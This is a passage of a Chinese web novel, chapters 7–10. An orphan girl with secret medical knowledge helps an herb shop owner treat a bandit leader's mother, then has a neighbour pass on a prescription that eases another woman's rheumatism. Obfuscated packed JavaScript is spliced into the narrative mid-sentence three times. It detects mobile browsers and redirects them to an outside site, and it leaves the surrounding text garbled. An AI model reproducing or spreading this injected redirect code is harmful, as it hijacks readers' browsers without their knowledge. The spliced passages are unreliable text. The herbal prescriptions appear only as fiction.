孙二根见已经无法走脱，只好停下来，将肩上的麻袋又放了下来，看着许娇娇一脸担忧。 许娇娇上前两步，站在短须先生面前，她思索片刻，谨慎开口：“我爹好像……用过桂枝和白芍一起，说是能调和营卫，开腠理，让外邪有路出去；再用知母和石膏……清内里郁热。别的……我就记不大清了。”她刻意隐去了完整的方剂配伍，只提了最具代表性的四味药，且强调是记不清，既显早慧，又不至惊世骇俗。 “桂枝、白芍、知母、石膏……”短须先生喃喃重复，眼神越来越亮。这四味药的组合，正暗合了解表清里的至理！他先前用药，独缺了这清泄内热的一环。这孩子寥寥数语，竟为他拨开了眼前的迷雾。 7. 第七章 医病 “好！好一个内外分看！好一个炭盆之喻！”短须先生此刻再无轻视之心，他郑重地向许娇娇这个孩童拱手作了一揖，“小娘子一语惊醒梦中人，受教了！此证确是寒湿痹阻，郁而化热，老朽先前拘泥常法，只见其寒，未见其热，几致贻误！” 他立刻转向鲁大，恳切道：“大当家，这位小娘子所言极是！老太太之病非药不对症，而是证候已有变化，需更方清热除湿，兼以通痹。请允老朽即刻重新诊脉开方！” 鲁大见这郎中前倨后恭，对一个小娃娃的话如此信服，心中半信半疑。他又看向许娇娇，眼神复杂，凶悍之气却褪去不少，换上了一丝不易察觉渴望：“小……小娘子，你说的，可能作准？你阿爹真治过这样的病？他人在何处坐诊？” 许娇娇迎着他的目光，轻轻点头，语气安静却有种超越年龄的沉稳：“大哥哥，老人家身体要紧。我虽年幼，但父亲教导不敢忘。”她顿了顿，接着轻声道：“我阿爹……我阿爹已经不在了。” ”不在了？”鲁大一脸疑问。 孙二根也忙上前赔笑：“这位壮士，她阿爹……确早已不在人世了。” 鲁大一愣，脸上闪过一丝失望，随即又粗声道：“那你可知你爹用的方子？” “我……我就记得桂枝……”许娇娇声音越来越小，“别的真的记不清了。那时我才四五岁……” 这番情态倒是十足的孩子模样。鲁大见问不出什么，烦躁地摆摆手，又转向短须先生：“少扯这些！今日你们必须给我个说法！” 眼见着鲁大又要发作起来了，孙二根忙转身再次背起那包药材，又急急拉起许娇娇的手：“走了，娇杏，下回我们再来。” 许娇娇无奈，也有些遗憾，却只好随着孙二根的脚步往外走去。 “慢来慢来，鲁大当家的稍安勿躁。” 正闹腾间，缓步从里间走来一位中年人。只见他头戴一顶黑色东坡巾，身着月白色交领道袍，眉宇间带着安抚的笑意，目光明澈。他的出现，让前厅的吵杂声骤然小了下来。 此人才是张记生药铺的东主。刚才那个短须先生是张记生药铺的廖大夫，但不是东家。 张东家在后堂听得清楚。这小女娃的话虽不多，却点到了关键——老太太的病症，或许真有寒热错杂之嫌。 张东家认得孙二根，因为孙二根常来此地给他的浑家抓药…… 他心中念头急转。鲁大老娘这病拖了数年，已是沉疴顽疾。先前廖大夫开的方子以温散为主，他也看了本无大错，但近来老人病情加重，他也心中打鼓。眼下这小女娃的话，倒给了他提了个醒。 “鲁大当家，”张东家上前一步，朝鲁大拱手作揖，“方才多有得罪，在下正在会客，多有失礼，还请见谅。老太太的病或许真需更方。这位小娘子既说与她父亲曾治过的病症相似，可否容在下细问几句？” 鲁大瞪着他，黑脸绷得紧紧的，手中木棒仍未放下。但转头看向门外牛车上的老娘，见老母亲已醒，正颤巍巍地朝这边望着，眼神里满是责备，他心头一软。 “阿娘……”他低声唤道，快步走到车边，“您怎么样？” 老妇人喘息几口，断续道：“狗儿……莫要为难人家……” 鲁大见老娘这般模样，哪里还硬得起来。他起身，粗声道：“姓张的，你且说说，要如何治？” 张东家松了口气，忙道：“请大当家将老太太移入内堂，容在下再诊脉细察。” 鲁大沉吟片刻，挥手示意手下将他阿娘小心抬入内堂。 张东家这才转向许娇娇，温言问道：“小娘子方才说，老太太病症与你父亲曾治过的一例相似，不知……你父亲是如何诊治的？” 许娇娇心中飞快思量。她如今不过七八岁，若说得太过详尽，反惹人疑。只能推说是从前跟在父亲身边，零零碎碎记得些。 她垂下眼，做出一副努力回忆的样子，细声细气道：“我爹好像……好像说过，这种病，像是秋天打湿的柴禾堆。” “柴禾堆？”张东家一怔，连一旁的鲁大都竖起了耳朵。 “嗯。”许娇娇点点头，声音稍微大了点，带着孩童讲述见闻的认真，“我爹说，外头淋了雨，柴禾摸上去又冷又潮，就像老奶奶怕冷、关节疼。但柴堆捂在里头久了，自己会慢慢发热，甚至闷出烟来。这时候，如果只想着在外头点火烤干，里头的闷热遇上外面的火，反而会烧得更厉害，让人更难受。” 她顿了顿，似乎在回忆更难的词：“所以……不能光在外面加火。得……得小心地把柴堆扒开些，让里头的热气透出来，同时还要慢火把外头的湿气烘干。我爹好像……就是用了桂枝、白芍来通络散外寒，又加了知母、石膏来清里面的郁热。就像……既开窗散闷气，又生火驱潮气。” 这番话一出口，满堂皆静。 张东家心中剧震！这湿柴闷烧之喻，何其精当！简直是将外寒内热、寒热错杂的复杂病机，用最朴素的日常景象剖解得明明白白。这绝非一个普通孩童能凭空编造，必是长期跟随明医，听了无数深入浅出的讲解，才能将玄妙的医理内化至此等境界。 他看向许娇娇的眼神彻底变了，先前那点因她年幼而生的疑虑烟消云散，取而代之的是惊叹与恍然：“湿柴闷烧……开窗散火……妙喻！妙喻啊！”他激动地捋须，对鲁大道，“大当家，这位小娘子真是一语点醒梦中人！老太太之症，确如她所言，是外有寒湿痹阻，内有郁热滋生！廖先生和我先前的用药，只重烘烤外湿，却忘了内热已生，险些误事！” 鲁大虽不完全懂医理，但这湿柴堆的例子实在生动，他一下子就听明白了要害——原来不是药完全不对，是药劲用错了方向，差点把他娘这湿柴堆给点炸了！他看向许娇娇的目光，少了审视，多了信服。 许娇娇见效果达到，立刻又缩回孩童应有的状态，小声补充道：“我……我就记得爹这么比划过，别的……好多话我都听不懂了。” 张东家此刻心中已一片透亮，再无犹豫，向许娇娇郑重一揖：“多谢小娘子赐教。”随即转身对鲁大道，“大当家，在下已有十成把握。请允我立即为老太太更方！” 鲁大粗声道：“你且治着。若我娘不见好，你这铺子……” “大当家放心！”张东家忙道，“在下定当尽心。” 张东家走入内堂，和那个姓廖的短须先生仔细为老妇人诊脉。这一次，他特别留意了脉象中的滑数之象，又察看了舌苔——果然黄腻。再回想老人手心潮热、腿脚冰凉之症，心中豁然开朗。 这确是外寒内热、寒热错杂之证！廖大夫也一脸愧色，站在桌前看着张东家亲自书写提笔开方，在原先温散的基础上，加入了清热利湿之品。写毕，亲自抓药煎煮。 趁这间隙，鲁大命人将老妇人安置在榻上，盖好被褥。老妇人神志稍清，絮絮叨叨说着话。鲁大蹲在榻边，垂首听着，全无方才的凶悍模样。 许娇娇在一旁静静看着，心中感慨。这鲁大虽是个莽汉，待母至孝，倒不失为一条血性汉子。 不多时，药已煎好。张东家亲自端来，鲁大小心喂母亲服下。 老妇人服了药，不多时便觉腹中温热，周身酸痛似有松快之感。她长舒一口气，喃喃道：“这药……舒服……” 鲁大闻言大喜，连声道：“娘觉得舒服便好！” 张东家也松了口气，又诊了脉，道：“药已对症。老太太且安心歇息，这药每日一剂，连服三日再看。” 鲁大点头应下，神色缓和许多。他又看向许娇娇，忽然道：“小女娃，你那些草药，是要卖的吧？” 许娇娇一愣，忙道：“是，正是想卖给张记药铺。” 鲁大一挥手：“掌柜的，这女娃的草药，我买了！你按市价算，钱我来出。” 鲁大见他娘有好转，对张东家也恭敬了许多，由张家匹夫转成掌柜的，对许娇娇更是心存感激。 张东家却未立刻接话，他看向许娇娇，目光温和中带着探究：“小娘子，你方才说的诊治思路……令尊许大郎，可是落溪村的许铭许大郎？” 许娇娇讶然点头。 张东家脸上顿时浮现感慨与怀念：“果然……方才听你提及鲁老太太的症候，又提到那几味药，我便觉得这思路似曾相识。许大郎与我，算是故交了。”他转向一脸不解的鲁大与李二根解释道，“约莫五六年前，我这铺子里收到一批以次充好的药材，险些酿成大祸，是路过的许大郎一眼辨出，当众点破，才替我保住了招牌，也免去一场官司。许大郎医术精湛，性子却淡泊，不喜张扬，此后虽偶有往来，也多是他指点我些药材鉴别之道，鲜少谈及病症。方才听小娘子提及，才知大郎竟已仙逝……”言罢，他神色黯然，沉默片刻，再看向许娇娇时，眼神里已多了几分长辈的怜惜。 他正色对鲁大道：“大当家美意，张某心领。但许小娘子这些草药，铺子按市价收，钱款分文不少，此乃买卖本分。至于谢仪，”他看向许娇娇，“既是故人之女，又于今日之事有启发之功，张某自有道理。” 张东家走到柜台后拨动算盘：“黄精、石斛皆是上品，那黄堇炮制也得法……共计三千二百文。”他顿了顿，看向孙二根，“二根兄，铜钱沉重，不如兑成银子？另外，许大郎昔年之恩，张某一直未曾寻得机会报答。这些药材市价之外，我再单独加二两银子，权作给故人之后添件冬衣，万勿推辞。” 于是，张东家将药材钱兑了二两九钱银子，又包了额外的二两，一并交给李二根仔细收好。 ……许娇娇又惊又喜，推辞了一番收下。 鲁大见事情已了，老娘病情也见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“此乃医家本分，二根兄何须客气。”张东家欣然点头，引孙二根到一旁仔细问了症状，沉吟片刻，便提笔写下一张方子，亲自抓了药包好，口中还细细嘱咐着煎服的禁忌。许娇娇在一旁看着那几味药，像是祛风除湿、强健腰膝的，心里便猜是治疗腰腿疼痛的。 孙二根小心地将药包提在手中，口中连连道谢。。 出得药铺，孙二根看了看天色：“咱们得快些回集市了。三郎那孩子也该回来了，说好了东门瓦子会合。” 两人匆匆往回赶。到了东门瓦子集市附近，果然看见三郎已经等在约定好的地方。少年肩上还挎着个鼓鼓囊囊的褡裢，脸上带着喜色。 “爹！”三郎迎上来，“我见到大哥了，他很好，还托我给娘捎了些东西。”说着拍了拍褡裢，“大哥说，里头有他这两个月的工钱，让给娘抓药用。” 孙二根神色怅然又带着一丝欣慰，点了点头：“好，好……” “娇杏，”三郎和他阿爹打过招呼，又笑着问娇杏，“菰城好玩不？” “好玩。”娇杏笑着回了一句。 三人回到李婆子的摊子前时。李婆子早等得心焦，见他们平安回来，又听孙二根细细说了药铺里的事，又是惊又是喜，搂着许娇娇直念菩萨保佑。 许娇娇从孙二根那儿要了三百文铜钱，塞到李婆子手中：“阿婆，这钱您收着。” 李婆子推辞不受，说这是许娇娇的造化，也是她运气好，遇到这样的好事，许娇娇不依，说阿婆若是不收，就是不把她当自己人。李婆子见她坚持，推辞不过，只好收下了，又细心交代：“如今有了银钱，买些吃食日用，剩下的你要仔细妥帖收好。” 许娇娇却道：“阿婆，这些银子我放在山里不放心。能不能……请您帮我收着？” 李婆子神色一凛，立刻明白了利害。她郑重应下：“你放心，阿婆一定收好。” 许娇娇这才安心。她将四两银子交给李婆子，自己只留下几钱碎银和几十文铜钱应急。 钱财安置妥当，孙二根见山货月卖的差不多了，眼见着看色不早，便收拾了剩下一点山货，一行四人赶在城门关闭前出了城。 暮色中回到落溪村，在李婆子家吃了晚饭。李婆子先打发三郎家去回了金桂，说孙二根晚些到家，省的金桂担心。 许娇娇则将零钱买的几包盐、饴糖和粗布分了一半送给李婆子，李婆子推辞再三才收下。李婆子又让孙二根将许娇娇送到山上的茅屋，帮她安顿好买的一些零碎东西，才告辞而去。 旺财早已欢叫着来接她。回到茅屋，点亮油灯，许娇娇将今日所得一一取出：张铺主送的银针、医书，自己留下的散碎银钱。她轻轻摩挲着那套银针，心中涌起一股安定的暖意。 今日虽不能显露太多，但至少迈出了第一步。有了这笔钱，有了张东家这条门路，往后的日子便有了指望。 窗外，山风拂过竹林，沙沙作响。许娇娇吹熄油灯，在黑暗中睁着眼。 前路依然漫长，但至少，有希望。 8. 第8章 李婆子的思量 菰城一行归来，李婆子心中久久不能平静。 夜里躺在床上，她想起孙二根说的话来，娇杏到底是许大郎的骨肉，自打开窍后，那份聪明伶利就连一个成年人都不一定比得过，那黑脸大汉凶神恶煞的模样；娇杏一个小小人儿，竟能镇定自若地说出那样一番话；许大郎人品果然贵重，就连张东家都对他心存敬意，听说娇杏是他的女儿竟然一下子赠银二两，可见人活在世多做善事是必要的，备不住这善报就会应验在自家身上。还有那些沉甸甸的银子…… 最让她心里不安的，是那一包银子。 四两九钱银。李婆子活了大半辈子，还从未一次见过这么多钱。寻常庄户人家，一年的嚼用也不过三五两银子。娇杏一个八岁的孤女，去了一趟城竟然就挣回了这许多。 李婆子翻来覆去，怎么也睡不着。她想起许大郎夫妇——那对十几年前突然出现在落溪村的夫妻。许大郎医术高明却深居简出，柳氏美貌温婉却总带着愁容。他们从不说自己的来历，村里人只当是避祸来的。娇杏从小聋哑，像个木头人似的，谁想一场大病之后，竟开了窍，还会说话了…… “唉……”李婆子轻叹一声，心里又喜又忧。 喜的是娇杏总算像个正常孩子了，还认药识字，往后的生计有了指望。忧的却是……这丫头突然显出的本事，会不会惹来麻烦？一个无依无靠的孤女，若被人知道她手里有钱，又会看病认药…… 她想起水月庵的水仙姑，想起村里那些说娇杏克亲的流言，心头一阵发紧。 这几日正是农忙的当口，田里早稻育秧的活儿一刻也耽误不得。李婆子天不亮就下了地，弯腰在秧田里忙活了半晌，累得腰都快直不起来。歇气的当儿，她拄着锄头，望着自家那还没翻整的水田，心头那把火又“噌”地蹿了上来——她那个败家子老二，这节骨眼上又不知道野到哪个骚狐狸的被窝里去了，留下这一摊子活计，全要她这老骨头来扛。她这是前世造了什么孽，才生下这么个不省心的东西！ 正憋着一肚子火没处撒，院门那边忽然传来“哐哐哐”的敲门声，李婆子将那点烦闷和着口水咽回肚里，把手在粗布围裙上草草一抹，一边朝门口走，一边没好气地扬声道：“谁呀！敲魂呢这是？来了来了！” 门一拉开，外头站着的却是她的大儿子福生。汉子脸上带着憨实的笑，额上还有汗，显然是刚忙完自家地里的活计，紧赶着过来的。他搓了搓手，开口道：“阿娘，我那边地拾掇得差不多了……就想着过来瞅瞅。二郎还没影儿？您这儿……有啥要搭把手的不？”话说得有些小心，眼神却朝院里那堆农具瞟去——他是瞒着自家那计较的浑家，偷偷跑来帮忙的。 李婆子见是大儿子，脸上的愠怒霎时化成了三分惊讶，七分软和下来的心酸，嘴里却还是那刀子似的硬话：“是你啊！自家那一亩三分地都拾掇明白了？有空上我这老婆子门前来晃荡。” 福生憨实地笑了笑，侧身就熟门熟路地往里走，“娘，瞧您说的。我那儿都利索了。早起看见老二家田里还没动静，就猜着……他是不是又……” “哼！”李婆子从鼻子里重重哼出一声，算是回答了，转身往屋里去，声音闷闷地传回来，“死在外头最好，省得我看了心烦！” 福生跟进去，自己拎起灶台上的陶壶倒了碗水，咕咚喝下，抹了把嘴才道：“阿娘，您也别总跟自个儿过不去。老二他就那副德行，气坏了您身子不值当。眼下最要紧的是田里的活，秧时可不等人。我今儿个就是来给您搭把手的，您指哪儿，我干哪儿。” 李婆子在围裙上慢慢擦着手，背对着大儿子，没立刻接话。屋里静了片刻，才听见她声音低了些，没了刚才的冲劲儿，透出浓浓的疲惫：“你媳妇儿……知道你过来不？” 福生挠挠头，声音也低了：“没……没特意说。翠兰她……您也知道，心眼小，惦记着自家那点事。可咱是一家人，老二不在，我这当大哥的不能瞅着您的地荒了。” 听到这句“一家人”，李婆子肩膀微微松了一下。她转过身，眼眶有点发红，却故意瞪了儿子一眼：“就你会当好人！回头你那浑家跟你闹，可别赖我。” “不能，不能。”福生赶忙摆手，脸上又堆起那实诚的笑，“阿娘，那咱这就下地？趁日头还没到顶，我先去把田埂和水渠理一理。” 李婆子这才轻轻“嗯”了一声，走到门口，望着大儿子宽厚的背影，那句憋了许久的话终于低低地吐了出来：“福生啊……娘……娘心里头知道。” 福生正弯腰扛起锄头，闻言顿了顿，没回头，只是声音更温和了些：“知道啥呀，您是我阿娘。走吧，阿娘，咱们先把秧田整出来，老二……等他回来我再说道他。” 母子俩前一后出了门，晨光把他们的影子拉得老长。李婆子看着大儿子坚实的后背，心里那团堵了几日的郁气，总算散开了一些。 这一晃日子就如流水，匆匆过去月余。这一日稍微清闲了点，李婆子猛然记起许娇娇来，自打上回回来后，她一直忙着自家的事，顾不得其他。 这日，她匆匆收拾了几块蒸饼，挎着篮子出了门。她没往山上去，而是拐上了另一条小路——往石桥埠李二根家去。 孙二根家住在石桥埠村东头，三间土坯房，院里养着几只鸡。李婆子进门时，正听见屋里传来压抑的呻吟声。 “金桂啊，又疼得厉害？”李婆子掀帘进屋。 炕上躺着个面色蜡黄的妇人，正是孙二根的媳妇金桂。她见李婆子来，勉强撑起身子：“阿姐来了……老毛病，阴雨天就犯……” 李婆子上前扶她躺好，细细端详。金桂不过三十七八的年纪，却已被病痛折磨得形销骨立，一双腿蜷曲着，手指关节粗大变形，显然是疼得久了。 “二根呢？” “去地里了……说要赶在雨前把豆子收了。”金桂喘了口气，“阿姐坐，我给你倒水……” “快躺着别动。”李婆子按住她，在炕边坐下，“我就是来看看你。” 两人说了会儿家常，李婆子话锋一转：“金桂，你这病……请郎中瞧过没有？” 金桂苦笑：“怎么没瞧过，镇上的、城里的都瞧遍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222019|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。说是痹症，开了不少药，银钱花了不少，可总不见好。这两年越发重了，阴雨天疼得下不了炕。二郎为了我……”她声音哽咽，“把家里的积蓄都掏空了。” 李婆子心里发酸。她知道孙二根一家不易——大郎在城里做活，工钱大半寄回来给娘抓药；自打二郎夭折，金桂这病就没好过，如今三郎还小，四囡才八岁；一家人的担子全压在孙二根肩上。 “阿姐，”金桂忽然抓住李婆子的手，眼眶泛红，“你说我这病……还能好么？我要是……要是走了，二郎和孩子们可怎么办……” “别胡说！”李婆子斥道，“你还年轻，总能治好的。” 话虽如此，她心里也没底。金桂这病拖了五六年，眼见着一天重似一天。村里人都说，怕是没治了。 正说着话，孙二根从地里回来了。见李婆子在，忙打了招呼。 李婆子使了个眼色，两人走到院里。 “二根，金桂这病……真没别的法子了？” 孙二根抹了把汗，神色疲惫：“该想的法子都想了。上会张大夫说了，这是顽疾，得慢慢养。可养病得花钱啊……”他蹲下身，闷声道，“前些日子大山捎回来的工钱，又抓了半个月的药。眼瞅着又快断了。” 李婆子沉默片刻，压低声音道：“二根，阿姐跟你说个事……这事……我也琢磨了有些日子。你还记得那日你从城里药铺回来和我说的话不。” “记得。”阿姐是说娇杏的事吧！” “可不是咋地，你说瞧见娇杏那丫头说起医理来似乎有许大郎的影子，就连张大夫都夸赞，我琢磨着她虽是个孩子，可备不住……倒像是真懂些医理。” 孙二根点头：“是啊，我也纳闷。她说起药理来头头是道，张博士都听住了。许大郎在世时确实有些本事，许是娇杏从小跟在她爹身边，虽然那会儿不说不笑，眼睛耳朵却是好的，看也看会了些？” “我就是这么想的。”李婆子道，“娇杏如今开了窍，又会说话了，从前在她爹身边见过的、听过的，许是都想起来了。我琢磨着……她既认得出药，又说得出道道，或许……或许对金桂的病，也能知道些她爹用过的方子？” 孙二根眼睛一亮，随即又黯下去：“可她毕竟是个孩子……金桂这病，多少郎中都瞧不好……” “死马当活马医吧。”李婆子道，“总比干等着强。那丫头心善，昨日若不是你带她去药铺，她也卖不了药。咱们去问问，她若知道些什么她爹用过的法子，咱们试试也不亏。” 孙二根沉吟良久，终于点头：“那……问问？” “问问。”李婆子下定决心，“过两日我去山上找她，探探口风。她若真知道些什么，咱们就试试。诊金……咱们虽不宽裕，也不能白让人出力。” “那是自然。”孙二根忙道，“只要金桂能好些，怎么都行。” 两日后，天气晴好。 李婆子挎着篮子，装了半篮鸡蛋、一包红糖，又揣了几个铜钱，独自往山上去。一路上，她心里七上八下——娇杏那孩子，真能知道些什么吗？ 9. 第9章 求药方 到了茅屋前，院门虚掩着。李婆子推门进去，见院里晒着几簸箕草药，旺财趴在日头下打盹，听见动静，抬起头摇了摇尾巴。 “娇杏？”李婆子唤了一声。 屋里应了一声，许娇娇快步走出来，手里还拿着把药锄。见是李婆子，她眼睛一亮：“阿婆来了！” 李婆子打量她——小脸晒黑了些，却精神了不少，一双眼睛亮晶晶的。 “晒药呢？”李婆子将篮子递过去，“给你带了几个鸡蛋，补补身子。” 许娇娇忙推辞：“阿婆您留着吃，我这儿有……” “拿着！”李婆子不由分说塞进她手里，又在院里石墩上坐下，“阿婆来，是有件事想问问你。” 许娇娇见她神色郑重，也认真起来：“阿婆您说。” 李婆子斟酌着开口：“娇杏啊，阿婆知道你爹在世时，给人瞧过病……你从小跟在你爹身边，虽然那会儿不言语，可眼睛是瞧得见的。阿婆想问问……你可还记得，你爹有没有治过……腿脚疼痛、关节肿大的病人？” 许娇娇心中一动。她记得前几日进城时，孙二根和李婆子曾提过金桂的腿病，似乎是风湿痹症。 “阿婆说的是……像金桂婶婶那样的病？”她轻声问。 李婆子连连点头：“正是正是！你金桂婶那腿，疼了五六年了，如今下不了炕，手指头都伸不直了。” 许娇娇垂下眼，做出一副努力回想的样子。她穿越后继承了原身的部分记忆，虽然零碎，但确实有些许大郎行医的片段。 “我好像……记得一点。”她慢慢说，“有一回，有个阿婆来家里，走路一瘸一拐的，手指头也肿着。我阿爹给他瞧了，说是痹症。” 李婆子身子前倾：“然后呢？你爹怎么治的？” “我阿爹说了好些话，我那会儿听不懂。”许娇娇摇摇头，“就记得……他开了药方，里头有桂枝、白芍……还有什么防风、麻黄。对了，还用了蜈蚣和全蝎，说是能通经络。” 这些药名，她是凭前世记忆说出的，但此刻只能推说是从父亲那里看来、听来的。 李婆子听得半懂不懂，只急急问道：“那……那阿婆后来好了么？” 许娇娇想了想，原身记忆中似乎有后续——那老人后来又来过一次，走路利索多了，还带了只鸡来感谢。 “似乎，好些了。”她不确定地说，“后来他又来过，能自己走路了。” 李婆子心头一热，抓住许娇娇的手：“娇杏，好孩子，你再仔细想想！你爹开的方子，你还记得多少？或者……他有没有说过，这病该怎么治？” 许娇娇面露难色：“阿婆，我那会儿小，又不会说话，很多事记不清了。我只记得些药名，具体怎么用、用多少，我真不知道。” 她虽有医术在身，但一个八岁孩子若说出完整的辨证论治，未免太过惊人，只能推说记得零星片段。 李婆子有些失望，但转念一想，能记得这些药名，已是难得。许大郎的医术她是信得过的，若能用他从前治过的方子，说不定真对金桂的病。 “娇杏啊，”李婆子恳切道，“阿婆想求你件事……你能不能，把记得的药名都写下来？咱们拿去给郎中瞧瞧，说不定能用上。” 许娇娇点头：“这我可以试试。只是……阿婆，我爹说过，一样的病，不同的人用药也不一样。金桂婶婶的病，得亲眼看了才能知道该用什么药。” 李婆子明白她的意思。可让一个八岁的孩子去给人瞧病，这话她说不出口。能拿到药名，已是意外之喜了。 “好孩子，你先把记得的写下来。”李婆子道，“阿婆拿去给郎中参详参详。若真有用，阿婆一家都记你的情。” 许娇娇应下，进屋取了纸笔——这是张掌柜送的，她平日用来记药名。她回忆着前世治疗风湿痹症的常用方剂，斟酌着写下几味相对平和、适合初试的药：桂枝、白芍、知母、白术、防风、麻黄、生姜、甘草。 写罢，她吹干墨迹，递给李婆子：“阿婆，我就记得这些了。具体怎么用，还得让郎中定夺。” 李婆子如获至宝，小心折好揣进怀里：“好，好。阿婆这就去找郎中问问。” 临走前，她又叮嘱：“娇杏，这事……别跟外人说。你就当是阿婆来问你爹从前的事，记住了？” 李婆子也是忘记了，娇杏如今虽然会说话，但她这个后山茅屋，平日里，都无人来，大家都怕她邢克的名声，怕和她接触后被克死了，就连村里的闲汉无赖也是深信不疑，所以，这也是她一个女娃，独自居住在山里相对安全的原因，这个封建时代，读书人很少，都是愚昧的民众，对于邢克、神佛的信仰十分崇尚。 许娇娇点头：“我晓得。” 李婆子这才放心离去。下山路上，她摸着怀里那张纸，心里既盼着这方子真能管用，又觉得让一个孩子写方子，实在有些荒唐。 可眼下，还有什么法子呢？ 李婆子没有回家，径直去了孙二根家。 “二根，我问了娇杏。”她一进门便道，“那孩子记得些她爹用过的药，我让她写下来了。”她取出那张纸，“咱们……找个郎中瞧瞧？” 孙二根接过纸，看着上面工整的字迹，愣了愣：“这字……是娇杏写的？” “是她写的。”李婆子道，“那孩子开了窍后，学什么都快。” 孙二根展开纸，看着上面的一串的药名，他不识字，也不懂医，但有些字体他依稀记得曾在金桂的药方中见过。 看着这些字体，他心怀忐忑，“阿姐，”他犹豫道，“这……靠谱么？” “总得试试。”李婆子道，“娇杏说了，这是她爹从前用过的方子，治好过人的。咱们找个信得过的郎中，让他瞧瞧，若能合用，就抓几副试试。” 炕上的金桂听见动静，虚弱地问：“二根……什么方子？”孙二根忙进屋，蹲在炕边，握住妻子的手：“金桂，阿姐寻了个方子，是许大郎从前用过的。许大郎的医术，你是知道的。” 金桂眼中闪过一丝希冀，随即又黯下去：“又是什么方子……这些年吃的药还少么……” “这次不一样。”孙二根柔声道，“是许大郎的方子。” 许大郎生前虽低调，但村里人有个头疼脑热，找他瞧过，往往药到病除。金桂也听说过他的本事。 她沉默片刻，轻声道：“那……试试吧。” 孙二根眼眶一热，重重点头：“好，咱们试试。” 这一夜，孙二根家的小院里，久违地燃起了希望的火苗。 而山上的茅屋里，许娇娇正就着油灯，在纸上写下更多关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坐堂的是位姓陈的老大夫，接过纸细细看了一遍，眉头渐渐皱起。 李婆子心头一紧：“大夫，这方子……不妥么？” 陈大夫却摇头：“非也非也。这方子……开得极妙啊！”他指着纸上几味药，“桂枝、白芍调和营卫，知母清内热，白术健脾祛湿，防风、麻黄散表寒——这是针对寒热错杂之痹症的配伍。敢问……这方子真是许大郎所留？” 李婆子含糊应道：“是……是早年留下的。” “许大郎果然深藏不露。”陈大夫感叹，“这方子看似寻常，实则君臣佐使配伍精当。若是用于寒热错杂、表里同病的痹症，当有良效。”他顿了顿，“只是具体剂量需调整，也要看病人当下证候。” 李婆子心中又惊又喜。惊的是娇杏那孩子随手写下的方子，竟被老大夫这般推崇；喜的是金桂的病，或许真有转机。 她按陈大夫调整后的剂量抓了五副药，又买了些外用的药酒，匆匆赶回石桥埠。 “二根，药抓回来了。”她将药包递给李二根，“陈大夫说……这方子很好。” 孙二根接过药，手微微发颤：“阿姐，真……真能管用？” “试试吧。”李婆子道，“总得试试。” 10. 第10章 金桂能走了 金桂躺在炕上，看着丈夫煎药，眼中并无多少期待。这些年吃了太多药，苦水灌了一碗又一碗，病却一日重似一日。她早已不抱希望了。 第一碗药下去，并无动静。 第二碗，依旧。 第三碗喝完，金桂只是觉得身上暖了些，疼痛却未减多少。 “算了……”她虚弱地说，“别浪费银钱了。” 孙二根红着眼眶：“再吃一副，就一副！” 第四副药煎好时，那日阴雨绵绵，正是金桂最难熬的时候。她浑身关节疼如刀割，冷汗涔涔，几乎昏死过去。 孙二根颤抖着手喂她喝完药，守在炕边，心如刀绞。 约莫过了一个时辰，金桂忽然轻轻“咦”了一声。 “怎么了？”孙二根忙问。 “好像……”金桂缓缓动了动手指，“好像……没那么疼了？” 不是完全不疼，而是那种钻心刺骨的锐痛，变成了钝钝的酸胀。她试着屈了屈膝——往常这个动作会让她疼出眼泪，今日竟能勉强做到。 孙二根简直不敢相信：“当……当真？” 金桂又活动了下手腕，虽然依旧僵硬，但活动范围似乎大了些。她眼中渐渐泛起泪光：“好似……当真松快了些……” 李婆子闻讯赶来时，金桂已经能在搀扶下坐起身了。虽然依旧虚弱，虽然关节仍旧肿大，但那种萦绕不散的剧痛，确确实实减轻了。 “阿姐……”金桂握住李婆子的手，泪水滚落，“这药……这药真有用……” 李婆子背过身去，悄悄抹了把眼角。她想起山上那个安静采药的小小身影，心中百感交集。 消息传到山上时，已是翻年后。 李婆子又来看许娇娇，带了一篮子鸡蛋，还有金桂硬塞给她的一块粗布。 “金桂好了不少。”李婆子轻声道，“吃了十几副药，如今能下炕慢慢走几步了。虽然还没全好，但……总算有盼头了。” 许娇娇心中一宽：“那就好。” 李婆子看着她，眼里挂着泪，最终只是说：“娇杏啊，你爹留下的方子救了金桂一命，阿婆心里知道，多亏了你。” “阿婆，”许娇娇拉着李婆子的手，温声细气：“阿婆，您怎么还跟我客气，金桂婶的病能有起色，也是她的造化，我只是做了我该做的。阿婆不需要这样。” 李婆子抚了抚她的头，欣慰的点头。“好孩子。” 送走李婆子，许娇娇回到院里。小鸡崽已长出翅膀，在草丛里啄虫。旺财趴在她脚边，尾巴轻轻摇着。 她望着远山，心中思绪万千。 风湿痹症是慢性病，金桂的病拖了五六年，筋骨已损，绝非几副药能根治。但若能缓解疼痛、改善功能，至少让她能下地活动，对这个家庭已是莫大恩德。 许娇娇知道，自己不能出面。一个八岁的孩子会开方治病，太过惊世骇俗。但通过李婆子之手，借父亲之名，或许能在不引人注目的情况下，帮助更多的人。 只是……这条路该怎么走，还需仔细思量。 她想起张记生药铺，想起那套银针，想起鲁大老娘服药后舒展的眉头。 或许，可以慢慢来。先认药，再学脉，一点点展露天分。待年纪稍长，再行医济世，便不会太过突兀。 